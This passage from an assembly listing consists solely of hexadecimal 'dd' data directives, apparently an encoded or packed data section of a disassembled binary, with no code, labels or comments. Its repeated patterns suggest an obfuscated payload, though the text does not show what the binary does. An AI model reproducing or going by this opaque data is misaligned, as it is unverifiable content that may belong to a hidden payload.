		dd 0FF5C2414h, 835F2434h, 22E904C4h, 96FFFADAh,	0B8BBBB27h
		dd 608A2AEh, 0E0FFC503h, 3D54837Dh, 676D1F8Fh, 766AF670h
		dd 6D139D14h, 39EA06F3h, 4690EAD8h, 6CA8D110h, 375BE980h
		dd 2B07CC5h, 55A2761Eh,	170501D2h, 27E9E08Fh, 2F77991Fh
		dd 18E1D9EFh, 2D9849EFh, 6645993Fh, 15CE9h, 111FBB00h
		dd 94B81F0h, 1B589196h,	10562B0Ah, 1356F053h, 1858970Ah
		dd 33719D53h, 61248F3Ah, 4125A353h, 0F57939C4h,	26B6BD60h
		dd 57149752h, 57159F53h, 5714DB53h, 5714E953h, 5714F653h
		dd 57147B53h, 57149253h, 5714DE53h, 57146753h, 5714B753h
		dd 246D8853h, 57798827h, 3866A673h, 24671E30h, 5714BD0Eh
		dd 5714DE53h, 57146F53h, 5714B753h, 5714DB53h, 5714ED53h
		dd 5714F653h, 57147B53h, 5714BD53h, 5714DE53h, 57146F53h
		dd 5714B753h, 5714DB53h, 5714ED53h, 5714F653h, 57147B53h
		dd 5714BD53h, 5714DE53h, 57146F53h, 5714B753h, 5714DB53h
		dd 5714ED53h, 5714F653h, 57147B53h, 5714BD53h, 5714DE53h
		dd 57146F53h, 5714B753h, 5714DB53h, 5714ED53h, 5714F653h
		dd 57147B53h, 5714BD53h, 5714DE53h, 57146F53h, 5714B753h
		dd 5714DB53h, 5714ED53h, 5714F653h, 57147B53h, 5714BD53h
		dd 5714DE53h, 57146F53h, 5714B753h, 5714DB53h, 5714ED53h
		dd 5714F653h, 57147B53h, 5714BD53h, 5714DE53h, 57146F53h
		dd 5714B753h, 5714DB53h, 5714ED53h, 5714F653h, 57147B53h
		dd 5714BD53h, 5714DE53h
		dd 57146F53h, 5714B753h, 5714DB53h, 5D198853h, 1764E941h
		dd 0E7680000h, 0E90608A6h, 0FFFB9D5Ch, 8A7BB68h, 9D52E906h
		dd 9568FFFBh, 0E90608A8h, 0FFFB9D48h, 8A94468h,	9D3EE906h
		dd 0EF68FFFBh, 0E90608AAh, 0FFFB9D34h, 8AC8D68h, 9D2AE906h
		dd 7468FFFBh, 0E90608ADh, 0FFFB9D20h, 8AE8168h,	9D16E906h
		dd 9A68FFFBh, 0E90608B0h, 0FFFB9D0Ch, 8B18F68h,	9D02E906h
		dd 6C68FFFBh, 0E90608B2h, 0FFFB9CF8h, 8B2FC68h,	9CEEE906h
		dd 6368FFFBh, 0E90608B4h, 0FFFB9CE4h, 8B9B068h,	9CDAE906h
		dd 0DE68FFFBh, 0E90608BAh, 0FFFB9CD0h, 52C06E89h, 0C250FA1Ch
		dd 7CEE88ACh, 0E2701E3Eh, 1D0FA7CCh, 4B68F109h,	0DBFBB9ABh
		dd 6E97D547h, 52046D4h,	70ADF765h, 0A9254911h, 0D2E7B7A1h
		dd 258ADCB7h, 3D5AA1A9h, 0B4581899h, 5FC790Ch, 441F3AE0h
		dd 58663DDEh, 0ADC4B150h, 3C2ECCE9h, 8AAF8B0Fh,	0A45A682Bh
		dd 95148CADh, 0A25BF8F2h, 2D0FC4A1h, 0FC4E4AE5h, 0C2DA5DE2h
		dd 6A560037h, 46CFAE98h, 0D4000000h, 7C571074h,	0A7A1806Ah
		dd 6C0A2E94h, 7649ECACh, 0ADA4915Bh, 0DDBC3DE5h, 0A1A29191h
		dd 1A9B3B59h, 1F9E4058h, 0A60BE1B6h, 0C7DEF510h, 0A1A29193h
		dd 83C0B56Dh, 8ECD79A9h, 6323AE98h, 2DD7A244h, 0D8h, 6C4762B6h
		dd 0A7A1807Ah, 94BD1C84h, 4FB74C0Fh, 25996Ch, 0C1A0FF5Ah
		dd 0A7A1F499h, 0ABCABF67h, 57F3168Ch, 41E300A2h, 44048525h
		dd 6C260584h, 58DAAF47h, 5E1C9D3Dh, 0CC8D9F3Bh,	0A7A1F1D3h
		dd 0C654F613h, 0BFE785A0h, 51626323h, 0E5FC5935h, 0ADA4E166h
		dd 95C5DCFBh, 63A1A210h, 0D242C6B3h, 742E4540h,	7434B54Dh
		dd 0A210C595h, 0F68333A1h, 0C86D494Dh, 0A4A16EE9h, 0F2AEAABh
		dd 44D67097h, 0E5000126h, 0A8C0DC8Ah, 9B7A3AABh, 0ABA8C0CFh
		dd 0D9C98909h, 28C46E26h, 0A9657CF5h, 0E2000014h, 713725C9h
		dd 1A7B555h, 93D143E3h,	2147D579h, 0E6F66402h, 0A6CD96h
		dd 9C365C12h, 29C9E88Eh, 0BA60853Bh, 0B40F16A8h, 0A1A92622h
		dd 5378CDCh, 942A38DEh,	1C5BC971h, 17321074h, 80F199F8h
		dd 970FA7A1h, 0ED0827E2h, 0A180C492h, 8CE732A7h, 0A7A180DAh
		dd 0C9BC7C24h, 0A4913B56h, 5C5DC5ADh, 0A291B13Dh, 76D68DA1h
		dd 988F02B4h, 0B57BAEh,	5000000h, 792BDBE0h, 7F9F35E5h
		dd 77BEC3C6h, 0C08067h,	0A6CD81h, 0C9B1EE81h, 0D4F1A7A1h
		dd 63862436h, 91F5C6C7h, 0E9E892B7h, 7352F7B7h,	0ADA4C8F4h
		dd 9D829000h, 1D381DF9h, 0A2E8D482h, 877222A1h,	46FD6948h
		dd 9B1BABA4h, 47DF04BEh, 0D47097D5h, 594909B1h,	28C443B0h
		dd 0D59B827Fh, 0BE000013h, 4D63F19Dh, 0DD938129h, 6F0D1FB7h
		dd 0FDB3A14Dh, 0DA2230D6h, 0DC7A99C2h, 680A284Eh, 59DC4FAh
		dd 96345117h, 4023FA84h, 0A1A92716h, 62E3D8E0h,	44660620h
		dd 0A56527A6h, 81A66424h, 759210E5h, 82D43D1h, 46474860h
		dd 33AC0E2Ch, 0D49415D5h, 5590614h, 0FBBB3AE0h,	882E3CDEh
		dd 0CAEC86Ch, 8A0BCB8Dh, 1F0DADC8h, 0FE9A0457h,	0D3EE0520h
		dd 0A180E6F0h, 83A210A7h, 0FB5A2FEFh, 0ADA4B038h, 647BE45Ch
		dd 99289E6Dh, 73D6B4D0h, 9F3B5E54h, 0D2F06BEAh,	825D5029h
		dd 81971151h, 5D33C65Bh, 0B3D7E4E5h, 1F1372D7h,	30AE3734h
		dd 0B42CBA15h, 6A2AAE36h, 0AC89099Fh, 0F373D915h, 87726AEDh
		dd 892F4A48h, 8DCFCE6Ch, 0FC195FCDh, 56C54E5Eh,	9F522652h
		dd 12FB84h, 0D7779000h,	67032745h, 0F591B7F5h, 87274167h
		dd 16B0D795h, 73E83004h, 2A0B254h, 9EDC4EE4h, 2B49DB77h
		dd 0A4FE6C0Eh, 28706679h, 0FE8EA1A9h, 3AE00585h, 300E8ABBh
		dd 9453BA15h, 4DF5ADA4h, 0DC7C99DFh, 515010BAh,	0EF4A286Ch
		dd 0A9309194h, 1633E3ABh, 74D1799Ch, 37104659h,	36EEABAAh
		dd 7F9AB343h, 0AA377264h, 61148CABh, 8302A8CDh,	0DEFAD6B2h
		dd 0C2DD7838h, 0A1A19327h, 0C9E441F1h, 0E90A0F36h, 6B1E28A5h
		dd 1E0CAECBh, 0B9DA643Fh, 4B8C86D2h, 39E104BEh,	330F8BB8h
		dd 34A4BF16h, 0F0A0BFB0h, 0D2E26DE0h, 0DCC7BA34h, 124Ch
		dd 0EA782641h, 1A08B2D4h, 0B4A64064h, 3A28D6F6h, 55C75F84h
		dd 3203941h, 93B3F163h,	264F6DFFh, 0BDD89E8Ch, 0A8750F1Dh
		dd 0A92981C9h, 542F7FA1h, 1E3ADE05h, 87477978h,	23C3E0A2h
		dd 15898C56h, 77BC49F1h, 0B3123713h, 0ADA49CF8h, 33A73E55h
		dd 0CDA1A29Ch, 0D7739755h, 6DE396D6h, 537634B5h, 0E207A5B7h
		dd 0C362B938h, 7B4B4F05h, 9C4134D9h, 0A43F1AF8h, 0ABA74ADDh
		dd 4762C77Fh, 0A68C7A6Ch, 691C84ABh, 952D5416h,	96345614h
		dd 0FD5F7C17h, 6E6BB50h, 0B9DE7E9Bh, 0CECF5D1Dh, 4CB6A837h
		dd 5A2F8276h, 3411EDA9h, 0A386D25Dh, 668C36A1h,	0AE8D0CCCh
		dd 0B14B1717h, 13E6D3DDh, 0D5D47693h, 0B941DB78h, 4445DD05h
		dd 4445E106h, 8CB14404h, 970F2A08h, 0E722D773h,	0AED4058Ch
		dd 0ADBF67BFh, 0E540EA0Fh, 0E3E3F7CEh, 0A51DBFACh, 0E3B92180h
		dd 0DF47BFACh, 0A2284B2Ah, 7ABFACF3h, 3D58C725h, 0CCE98F9Dh
		dd 61600A2Ch, 0C8CA6F2Fh, 0C88809A9h, 1571423Dh, 78791D3Bh
		dd 0C2DD7838h, 0B5A9C043h, 0C6DC0C55h, 66EAFDE0h, 1D91B4A6h
		dd 135352F8h, 1F5150F2h, 0D206AA5Fh, 4B6E4A4Eh,	4F6E2EAFh
		dd 542EF016h, 0D87D3D06h, 0BA2ACAF9h, 0FF279FB3h, 82329663h
		dd 26C2E19Dh, 27595806h, 4F076667h, 0F683B931h,	3E91B492h
		dd 89B29513h, 3C655974h, 846527A6h, 8D80D5D2h, 381742Ch
		dd 0DCFCB693h, 6D884732h, 0D56B7F56h, 2D958D80h, 1BBFDA58h
		dd 4D4E6B09h, 6AEF6C55h, 9213D33Ah, 8313B3D0h, 46DC9794h
		dd 0A1F7EE63h, 0EA000010h, 793F2DD1h, 9AFBD5Dh,	9BD94BEBh
		dd 294FDD81h, 0EEFE6C0Ah, 8AED58Eh, 0A43E641Ah,	31D1F0B6h
		dd 0C2688D23h, 0BC170E50h, 0A1A92A2Ah, 622F84D4h, 0B8E5B4C3h
		dd 0F653983Ah, 0A1E4CB9Fh, 0F88D35A7h, 0DC791D3Ah, 7E067A05h
		dd 0C5559B2Bh, 1B116F00h, 2333C686h, 0C3C2688Dh, 0EA88AEE4h
		dd 0E5F5CCEBh, 13A7A161h, 9C16E3A3h, 92D0D179h,	90D2D377h
		dd 0EF16D476h, 64395253h, 4A491B80h, 168928F2h,	458BAA6Eh
		dd 7A3C684h, 0F595B072h, 0A80B2667h, 0A7A1263Eh, 6EAD58D8h
		dd 0B49AF9BCh, 1A525h, 0E005BE00h, 0DEFBBB3Ah, 5A721E3Eh
		dd 1036F4B4h, 71317372h, 0FAD8BCE3h, 91C5445Fh,	6FD7ADA4h
		dd 90470F6Eh, 698FA1A2h, 698ECCCDh, 0C754CCCDh,	0D70EB865h
		dd 90B1D9B8h, 0D74FA1A2h, 5455ED15h, 0C82C6114h, 98936C1Eh
		dd 0CAA5C0AEh, 0A1A2989Ch, 5CFBA7Ah, 31h, 3010749Eh, 96B37313h
		dd 0A491903Fh, 0DF06BCADh, 42024243h, 42CD6443h, 0BCFB16D5h
		dd 84CE4134h, 0B8A1A227h, 35E1011Bh, 0AEAE97F8h, 0E8h
		dd 3AE00535h, 3ADCFBBBh, 0DDDEFBBBh, 0CCBD7B87h, 25E500h
		dd 0C2C36782h, 0C7C66880h, 0B130C585h, 5CFE189Ah, 20BA1B5Dh
		dd 8CF2C85Ah, 4164DEABh, 1ADA7C9Bh, 8A484908h, 7B9EA7A1h
		dd 3A5E4DDFh, 0EAE6F95Ch, 7DADA73Ah, 2EB0EAA2h,	897CF893h
		dd 63BE9B1Bh, 0DB7D6D44h, 1B9BA1A4h, 1F9E3C59h,	0ED0AA85Dh
		dd 7EA5DB49h, 8969C8D8h, 3BB622C0h, 0F0320h, 0CF6F8800h
		dd 5FFB1F5Dh, 0ED89AFCDh, 7F1F397Fh, 0EA8CFEDh,	6BF0081Ch
		dd 0FAB8AA4Ch, 96D446DCh, 2341D36Fh, 0ACF66406h, 2C481E71h
		dd 0E6B6A1A9h, 13C3628Dh, 0A6655D41h, 7F7E183Ch, 2A887D3Dh
		dd 73960C0Dh, 0F796D6D7h, 0A7A1AEE3h, 0C2E7A51Dh, 27E79918h
		dd 0A8527735h, 4B1F768Dh, 0B5A7A1AEh, 0AE410968h, 7BFA7A1h
		dd 0D783E247h, 21A7A1AEh, 17E8471h, 1F3AE005h, 0D9CEA344h
		dd 0E19434BFh, 1A9CC8Eh, 92385D13h, 8A662213h, 88C8C96Dh
		dd 2F126DC8h, 0A9ADA46Ah, 0FD1E7BE9h, 3B000007h, 74D5851Ch
		dd 7323A1A2h, 0DE051586h, 0AC26B938h, 15A7A180h, 0D1B09571h
		dd 0ADAA242Ah, 0A04A6CD6h, 132E45E0h, 0D2D37793h, 23E7F392h
		dd 0A111A1A9h, 9F3B5ED4h, 20CAEF8Dh, 20C6EDA1h,	0C3D1BBB0h
		dd 8E894822h, 0E1Ch, 0BAA85671h, 2A38E204h, 44D67094h
		dd 0CA580626h, 65F78FB4h, 33500911h, 0C3E38193h, 567F3D2Fh
		dd 0ED08AEBCh, 9885DF4Dh, 0A92D5139h, 0A41FAFA1h, 1D38DE05h
		dd 76F3F242h, 0C5B02037h, 7F451C39h, 869EC548h,	0A3F6BEA2h
		dd 5C273302h, 0ABF015A9h, 116CC898h, 3BBA7A27h,	99BC5E7Bh
		dd 0E08068C6h, 542139BCh, 0F24A491Dh, 0A5802A4Fh, 0AD2CCAE9h
		dd 0C9F41EEBh, 0B49B2C1Dh, 1486h, 66261D00h, 7DA7A18Bh
		dd 0A0B343C9h, 7CE5A58Dh, 0FFFFFD8Eh, 0D6C36207h, 0D1ED9EF3h
		dd 86CC4732h, 3FA7A142h, 0E0489E5Bh, 0C7E33E70h, 8F072207h
		dd 8ACACB67h, 3E5CE62Bh, 0C0B500ACh, 0AA7FB241h, 43E65EADh
		dd 3822443h, 4299B441h,	5842640h, 0D9FCB643h, 72731733h
		dd 3CD77232h, 71D54F1Fh, 0B75F2A90h, 1336D4F1h,	0F6058E70h
		dd 0B346A7C1h, 7C991530h, 6C8B2BDEh, 60B36D2Bh,	6527A648h
		dd 15167044h, 33F04555h, 423F22C3h, 0D0F5Bh, 0BB638400h
		dd 4BEF0BA9h, 0D97D9BD9h, 6B13354Bh, 0FA9CBBF9h, 67FC1C68h
		dd 0F6B4A640h, 822032D0h, 1F5DCF63h, 0B0C250FAh, 2E5C0A65h
		dd 12BAA1A9h, 3206299h,	68BB4263h, 0FF90DA85h, 0ED8DA80Ah
		dd 0EF8BAEECh, 8E30484Ah, 0F5AAF8FBh, 0B0D7CF17h, 0A6C36316h
		dd 7B2F1604h, 0E4B49B3Ch, 0Dh, 8B6626FFh, 859CA7A1h, 0FFFFFCA6h
		dd 321074C8h, 9DBAF817h, 0CDB8F8F9h, 0A49F8B52h, 0D4D54DADh
		dd 0A29F3AB5h, 0D5C904A1h, 56F017ADh, 4AA2E396h, 9884EE98h
		dd 1D657AEh, 70320000h,	7232B353h, 9C261687h, 77A7A180h
		dd 3B0C2E68h, 30A28181h, 3291F6D7h, 0B3F35616h,	0B1F3F294h
		dd 0AACF73C4h, 395C1200h, 8D711091h, 0CA7A17Bh,	7228D6Fh
		dd 0C5C2F163h, 8DA8EAEBh, 1C397FEDh, 0A61C7F7Eh, 0FAA7A17Ah
		dd 0E03FC725h, 0A17CD981h, 8A7F27A7h, 9AA7A357h, 1761CB4h
		dd 26F90000h, 4B46BFC2h, 0A411E43Ch, 1C38E005h,	7B3BBA7Ah
		dd 79AEBC5Eh, 0C9E4411Dh, 0A180E0F6h, 0D3A61EA7h, 91DA5D34h
		dd 0DC77ADA4h, 62FC1248h, 2FCFE91Ah, 5B2EEEAEh,	694C4DF5h
		dd 0CD0A0AD6h, 0C4AC0DA5h, 45DCA901h, 0A1A29A09h, 74BE9E35h
		dd 71701E3Eh, 0E3974A3Fh, 5CAE9889h, 48h, 0FEC36267h, 0DB83A5C3h
		dd 0E1EE58FAh, 0CFABEF14h, 3EB44F6Ah, 100CA654h, 335204E5h
		dd 0F4ACA7A1h, 33687E51h, 2E96A7A1h, 8E25BC5Bh,	0AAADA422h
		dd 6E2ED0E8h, 44460C6Fh, 0A57AA1A2h, 0DBF3A747h, 0B46CAE97h
		dd 77000000h, 0BB3AE005h, 1938DCFBh, 78387879h,	0BB2F86DDh
		dd 45A7A180h, 154928DDh, 0B4B4AF0h, 56E94CEEh, 66C75E61h
		dd 259EEE12h, 5669CE2h,	6BA2B045h, 4C6A0A2Bh, 0B5F7F6B6h
		dd 6FE841C0h, 0FB1EA7A1h, 0BADECD5Fh, 1E4579DCh, 7F568D78h
		dd 0ADA62171h, 18BAD8DAh, 0BE12E799h, 4647DF04h, 0A3E34606h
		dd 5570E284h, 0EF9A3859h, 71943057h, 0B69909C9h, 4522C1EBh
		dd 0AF6958Ch, 7C9F0000h, 82240D2h, 96B2F062h, 2C4C62F0h
		dd 0B5D29082h, 0E33B0311h, 0AFBD597Eh, 0DB49E909h, 74E67CA5h
		dd 0E5771336h, 776342DBh, 81A1A930h, 0DE0582F9h, 71942A38h
		dd 621C5BC9h, 62630320h, 807A6C47h, 1C84A7A1h, 0F015A95Ch
		dd 0EE0B4B4Ah, 39C3DE4Ch, 8A000004h, 0FE9A040Bh, 66AA0520h
		dd 80ADAA24h, 86020F10h, 0DEF28DA8h, 4332821Ah,	4867A257h
		dd 8104522Dh, 0D8BBA1A9h, 0A1A9818Eh, 7C24C848h, 85BB1689h
		dd 5DC5ABACh, 79BBAF8h,	84174322h, 31E1ABAAh, 4A2D44h
		dd 3CABAA84h, 267D8567h, 0AA841B4Fh, 163FE5ABh,	7B3B7D7Ch
		dd 9F9F4B8Eh, 8318A890h, 0A3000003h, 2D5BC362h,	6A19FE5h
		dd 0F38646E4h, 0A1835A10h, 8324B1A7h, 1773A7A1h, 0F9471E3Bh
		dd 0A4E47FC7h, 0F78BAB69h, 4C3B6F6h, 0A4AE22ADh, 4E5EC6ADh
		dd 22BE7E0Bh, 17E5918h,	8A00000Ah, 195FCD71h, 0A9CF5DFDh
		dd 3B79EB8Bh, 0C9EF7D21h, 0E1E0CAAh, 0A84E75EEh, 44DE04BAh
		dd 0D17190D6h, 62082D43h, 1C77AEF0h, 0A1A9314Ah, 58FE4B4h
		dd 9CBB3AE0h, 64650126h, 80786E41h, 1E86A7A1h, 1E7AAB5Eh
		dd 0F7CEE540h, 0A7A180E3h, 35D0A51Dh, 0AA24535Ah, 968B5ADh
		dd 0A1A92441h, 0D54707BFh, 725A2E6h, 0B6A90D9Fh, 52F410D2h
		dd 0F4511153h, 0A2598E9Dh, 0EF4ACAABh, 3E7D1654h, 9B6E6559h
		dd 8220467Ch, 0DBF9B590h, 0FFABA3Bh, 0B05EE694h, 88454FABh
		dd 9295D73Fh, 0EE15D773h, 0E49A8848h, 650126BEh, 0AE012464h
		dd 0ABB02038h, 1F9E5EC6h, 0B5903A5Fh, 2053079Eh, 0F5ADABB0h
		dd 484A6100h, 48088929h, 361470BDh, 2DD5B013h, 0BF67A1B5h
		dd 0CFDB742Fh, 0D7CE832Eh, 924h, 0B2A04E69h, 2230DAFCh
		dd 5CCE688Ch, 0C250FE1Eh, 7DEF87ACh, 2B481169h,	0BBDB998Bh
		dd 4E773527h, 0E500A6B4h, 908DD745h, 0A932A931h, 0AC0757A1h
		dd 0B8BFC362h, 187903B9h, 6E4A06Dh, 0CF554023h,	0FFA7ADAAh
		dd 983A585Ah, 34CEF48Ah, 0FC1C96B5h, 64115352h,	5AFFDBBFh
		dd 0A3AB307Bh, 0EFC61DABh, 0ABB3B3FBh, 64E89D05h, 8C083DBCh
		dd 0EB0B8BAEh, 33165657h, 0B3B30650h, 0B540F0ABh, 0A698079Eh
		dd 3CE4A1B6h, 0D07501ACh, 48530E2Eh, 894h, 2230DEF9h, 52C06A8Ch
		dd 0CC5EF81Ch, 72E08EAEh, 0ED7F173Ch, 0BBD88199h, 4B6B091Bh
		dd 0DE07A5B7h, 7590D644h, 0E03D47D5h, 0A932D981h, 1C9727A1h
		dd 8FDBE005h, 304FB9E0h, 0EE81A464h, 0B7566742h, 0EA85708Ah
		dd 0ECED8DA8h, 0EAEB87AEh, 0EDEC8EA8h, 2ECCE9ABh, 5BB1C6AFh
		dd 56D36E17h, 0D4944DDBh, 63AB8106h, 60610523h,	0DA1B8120h
		dd 0A088BBA1h, 9C3C59D5h, 91D3D27Ch, 9312B4D3h,	120311D1h
		dd 0B49B7868h, 151D1h, 0E005EA00h, 0DEFBBB3Ah, 9DF92E3Ch
		dd 0B64964C1h, 0F94903AFh, 0EAFCD7C2h, 14A7A151h, 8619ECACh
		dd 0ADA44007h, 993D5A58h, 3FAD5818h, 0FBBB6385h, 61D39BFAh
		dd 30EFA1A2h, 719012D4h, 45F124D1h, 0BEAE97C2h,	29h, 62C362C5h
		dd 16EAEAA0h, 1D79AA5Fh, 0E68DE441h, 2ADA4CCh, 7A701392h
		dd 46A1A2EEh, 0C773B389h, 30AE9831h, 0A8h, 120624Bh, 55206061h
		dd 3B1EBCD9h, 0B1585D7Bh, 10AC6BF0h, 20606121h,	3B581A55h
		dd 3D581A9Bh, 66391C9Dh, 95EC4230h, 0A7A1AAC5h,	0F3228333h
		dd 9529DC7Ch, 0BDB22B70h, 0BE57094Ah, 0A46D6CFEh, 0E2A7A188h
		dd 23123C7h, 328DA886h,	0ADA71FBEh, 0E9537E11h,	20301B3Dh
		dd 0EA4FF755h, 79EB8BA8h, 6A7A1C3Bh, 22C0B24Dh,	2D3C27DAh
		dd 66000007h, 0F58B9945h, 853B29D1h, 1755C75Fh,	0A5DB49F5h
		dd 624AD87Eh, 8422411Ah, 10B2D096h, 0AD456C02h,	3EDCF9BFh
		dd 288B922Ch, 0A1A934BEh, 5BB3058h, 942A38DEh, 1C5BC971h
		dd 1F3AE005h, 80F9E1C0h, 9F07A7A1h, 6B1EB4DDh, 0BF162D08h
		dd 0A7A1802Bh, 0AF4B6FD5h, 0DBAE6E2Eh, 0B99C3E5Bh, 58C960E6h
		dd 0E5C4D0EFh, 43C2D3BEh, 0F519EC7Dh, 53ECh, 0D30BF700h
		dd 0D4714D49h, 80B026B9h
		dd 0D64EA7A1h, 808DE423h, 0A9ADAA24h, 0AA2BD3F5h, 9891FEAh
		dd 0C3740F16h, 40DBD9DBh, 3ECFAD5h, 0AA6AA1A9h,	4A91FEAh
		dd 520FE9Ah, 0A2A760AAh, 11E86ABh, 0DC7E981Ah, 4D3A9BDDh
		dd 7B488373h, 4741986Dh, 4000000h, 17321074h, 0A4B3FDBCh
		dd 82A71FADh, 0B441E100h, 43115A3Dh, 0A1F2A1A2h, 17F1954Bh
		dd 0AD8848F2h, 0A79053D2h, 92B6ECABh, 0C6B3F5F4h, 4540D242h
		dd 8F30F5AAh, 0A75BA234h, 0C5E45CABh, 0C2B76112h, 0BD3Bh
		dd 10744200h, 0BAF81732h, 0C686079Bh, 245D5033h, 5BFADAAh
		dd 0E27939E1h, 0A3403BD2h, 0FBED9949h, 4343AE92h, 4E0E8F23h
		dd 7C89BBh, 62120000h, 61600220h, 0EDA95A2Fh, 46193411h
		dd 5C31AC37h, 39A1002Dh, 0C7A7A10Fh, 863E9F5Fh,	47DA6A64h
		dd 0D5DBBA4Fh, 37ADAA60h, 2D0BAA8Fh, 67E08327h,	0D9EB7005h
		dd 83227B34h, 0D8E5BCDBh, 0F443162h, 6E49FD2Dh,	2FB2AE93h
		dd 0C9000000h, 17321074h, 0AA2477BCh, 3A2191ADh, 0E789A3E3h
		dd 656424BEh, 247B6F46h, 1D85A1A9h, 7104A85Dh, 6383993Eh
		dd 0AE92FFB7h, 1520h, 2062BB00h, 3D946101h, 0A7A19A19h
		dd 9353F311h, 0FFFEFF8Ah, 1074D1FFh, 7A9F1732h,	0EA9FD1D0h
		dd 7692102Fh, 5EF412D0h, 0E9681D5Fh, 0ADAA258Ah, 280F8E36h
		dd 2524B20Dh, 62D2A1A9h, 4C2A6E97h, 276356E9h, 0DA3A51FDh
		dd 9591F02Fh, 0F3ABA205h, 15714243h, 22451C39h,	69CC537h
		dd 0EDE4C587h, 942E540Ah, 0E6935315h, 0ADAD482Bh, 8C06A1BAh
		dd 5137C26Ch, 752944E1h, 7537B64Ch, 62082280h, 0EBC7C3F0h
		dd 808774Eh, 0CB4BFB3h,	71901229h, 4D1D74D1h, 8BBF8052h
		dd 9DC47E0Bh, 0F287BAE4h, 33F30A6Eh, 4DE5A021h,	0FC1927E9h
		dd 1C9D355Ch, 0E88E9C5Ch, 3A00CCCDh, 1EF05554h,	2A6E5F5Eh
		dd 0F3D2E94Ch, 17E914E7h, 0C5E3A111h, 15E0A021h, 3D1CE7FEh
		dd 0F8B81DECh, 6DCFECF9h, 1103A7C2h, 11903253h,	0AA689B3Ah
		dd 571E7E5Ch, 0A5E600A2h, 739DF097h, 0F9F8B89Fh, 9658BC1Fh
		dd 0AB5EF81Ch, 0DA48EA0Bh, 0E4E57DA4h, 31CC07A8h, 742FBB1Ah
		dd 692911EAh, 0BA65C79Ch, 46DC059Bh, 0D7450547h, 0EEF8DBF6h
		dd 6811EA75h, 7458DDA8h, 0FDB1300Eh, 6A7C57D8h,	94A7A180h
		dd 80607649h, 269EA7A1h, 8E27A666h, 0B7DD13E9h,	0A2F4DDFh
		dd 25C9FB60h, 0D178DC61h, 750916B4h, 4928A951h,	0A7A18001h
		dd 0DE41DBF8h, 6E0C1EBCh, 148EAB47h, 6C4B4AF4h,	0A1804515h
		dd 4303B3A7h, 9A183FB6h, 325E77Bh, 0BC37AE5Bh, 0AAA7A180h
		dd 0B0CF17F5h, 0A18089D1h, 0FA86BAA7h, 9F9E0A7Ah, 842241F3h
		dd 547D31C4h, 0E12DACBEh, 2BA7A110h, 9AF76916h,	0FF79DCB4h
		dd 62E7FFFFh, 0E354AC47h, 34985FD8h, 0A1DC0555h, 0B643F3A7h
		dd 2331D9FCh, 0BE23688Dh, 28F14628h, 294DD696h,	0CBCB6E0Ch
		dd 0CB8D0CAEh, 7999DD3Eh, 5A1ABCDBh, 8EFBF85Bh,	9E0F1571h
		dd 9F1EB8DCh, 55B1D9B8h, 0D74FA7A1h, 0F9A68605h, 5FC25AF9h
		dd 8C8F903Ah, 0B49ACADAh, 279FBF56h, 0EBD63649h, 30D61Eh
		dd 0F3B30000h, 0D14A3FD3h, 17321074h, 0D0D17D9Fh, 572EE590h
		dd 0ADAA245Fh, 5262F9B9h, 64C063BCh, 57F2D0B4h,	0A280367Ch
		dd 7FE050ABh, 5F18h, 10746300h,	76BC1732h, 90ADAA24h, 0C5E03B20h
		dd 2483D7AEh, 0C57DA1A9h, 0A924B224h, 3CAA05A1h, 0DAA1A924h
		dd 7B0EB65Ah, 0D1F11EB5h, 0D5F2B031h, 3A95B031h, 0A1A924ACh
		dd 7203EAAAh, 2D62359Ah, 0CDE807CFh, 0A924E4F2h, 0C3A212A1h
		dd 0A1A92497h, 1FC4B161h, 0DBBA9F7Bh, 0ABA280D3h, 0D5928D35h
		dd 0BB3AE005h, 2E3CDEFBh, 1A209DF9h, 47E701F1h,	39EDE066h
		dd 42C5DC79h, 56ADA447h, 0CAC8EFEEh, 8763EBB0h,	0F14FA3Dh
		dd 0CF678D4Fh, 18FB8ECEh, 0A1A23F52h, 8B5BB16Eh, 0AE97E4DFh
		dd 3758h, 10746300h, 0B47C1732h, 3046D877h, 0D4AF6A1Fh
		dd 0ADA48DB9h, 0BBDADB5Bh, 0A1A2AD33h, 2AF4500Fh, 0AE987280h
		dd 0D7F9h, 0C6E6DC00h, 31069918h, 0C55DB789h, 76E79252h
		dd 1C38E005h, 7B3BBA7Ah, 7B3BBA5Ch, 793DBC5Eh, 69ACBE5Ch
		dd 6840D0D6h, 9E6B5EF2h, 0A1601A07h, 8D2D48A7h,	1EBCD99Fh
		dd 0CEAAE9Fh, 27B31229h, 0D1A7A16Ah, 66799461h,	0ADA44EFFh
		dd 9C477819h, 0BC3003Dh, 174948EAh, 96859757h, 1A3114F2h
		dd 28DD7D98h, 0A30035A9h, 0F653C3ABh, 62EEF8DBh, 4968ABA8h
		dd 0BD7620D2h, 877232C8h, 892D4A48h, 18BEE59Bh,	0C4B9F988h
		dd 504B0628h, 1E0h, 7EEC92B5h, 0EE7C1E38h, 180AACC8h, 8E9C425Ah
		dd 392BCBE8h, 6F94CD2Dh, 0FF2745D7h, 92B3F163h,	294C62F0h
		dd 54C19381h, 0A9396D7Dh, 0E8C3EBA1h, 1D38DE05h, 21E383A1h
		dd 22626303h, 0CCE98F57h, 0A5193C2Eh, 0A912E77Fh, 17321074h
		dd 0A49111BCh, 28333ADh, 0A2926B63h, 5CB857A1h,	988DD882h
		dd 11741AEh, 0E9040000h, 0A29EC096h, 0F3863EA1h, 420620Ah
		dd 54216362h, 3A1FBBDEh, 39B85A78h, 0B3F3F287h,	0D4F3F294h
		dd 0DF81253Dh, 643A1412h, 0B0789CFEh, 99780DCDh, 0A7A18EB8h
		dd 3CECBEEh, 33424D81h,	677352F7h, 91A7A1F8h, 0BDF36121h
		dd 0C2F3F298h, 0A4328DC6h, 52A7A1F8h, 0AC0722E2h, 0ADA4DCB5h
		dd 0DA84A41Eh, 0F5E5FCDBh, 3A1A21Ch, 0A226D393h, 1CAA3C97h
		dd 0EC54A1A2h, 7195092Ch, 0E1D63CC9h, 516CC9A5h, 850C5BBEh
		dd 3D18D503h, 0A2E734A2h, 0A752C2A1h, 0A4490D2Ch, 0D2772FABh
		dd 3DD9FFB7h, 0C9BC567Fh, 0BAA84E75h, 0F620C063h, 14B11024h
		dd 8524F8DFh, 7C5D49Ch,	0FDB144DEh, 1BA030D6h, 0E828C495h
		dd 0B26E69h, 0C0DB0000h, 4C6E0C1Eh, 0DAFEBCAEh,	70882E3Ch
		dd 0F91E5CCEh, 9FFFCF5Dh, 6BF99DBAh, 87952D55h,	3022C0E1h
		dd 0A1B35772h, 3BAF061Fh, 0C5A1A93Ah, 0DE053EB5h, 0B3F32A38h
		dd 0AF07F294h, 0AA45E08Ah, 7B5A0B4Ah, 0A7A1896Fh, 258829E9h
